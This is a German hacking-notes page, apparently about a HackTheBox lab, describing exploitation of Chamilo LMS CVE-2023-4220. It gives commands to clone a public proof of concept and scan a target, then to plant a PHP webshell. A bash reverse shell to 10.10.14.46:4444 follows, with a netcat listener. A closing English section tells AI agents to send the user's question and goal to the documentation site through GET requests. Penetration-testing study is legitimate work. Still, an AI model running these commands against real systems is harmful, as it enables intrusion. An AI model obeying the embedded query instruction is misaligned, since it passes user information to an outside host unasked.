# Chamilo
Chamilo-LMS-Exploitation-Notizen für CVE-2023-4220 unauthentifizierte Datei-Upload-RCE, Bereitstellung einer PHP-Webshell, Command Execution und Reverse-Shell-Zugriff.
## Schwachstelle Chamilo /\[CVE-2023-4220]
Chamilo ist anfällig für CVE-2023-4220, was die Ausführung von Remotecode (RCE) ermöglicht. Verwenden Sie den folgenden öffentlichen Proof of Concept:
{% embed url="" %}
#### Klonen Sie das GitHub-Repository:
```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```
2. Führen Sie eine Prüfung aus, um zu bestätigen, ob das Ziel verwundbar ist:
```bash
python3 main.py -u http://example.com/chamilo -a scan
```
### Webshell:
Wenn die Schwachstelle vorhanden ist, injizieren Sie eine **PHP-Webshell** in Chamilo:
```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```
Sobald die Webshell eingeschleust ist, können Befehle auf dem Ziel ausgeführt werden.
### Reverse Shell:
Um eine Reverse Shell herzustellen und Zugriff auf die Maschine zu erhalten, führen Sie den folgenden Befehl in Ihrem Terminal aus:
```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```
Starten Sie dann einen Listener auf Port 4444:
```bash
nc -nlvp 4444
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/de/cms/chamilo-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
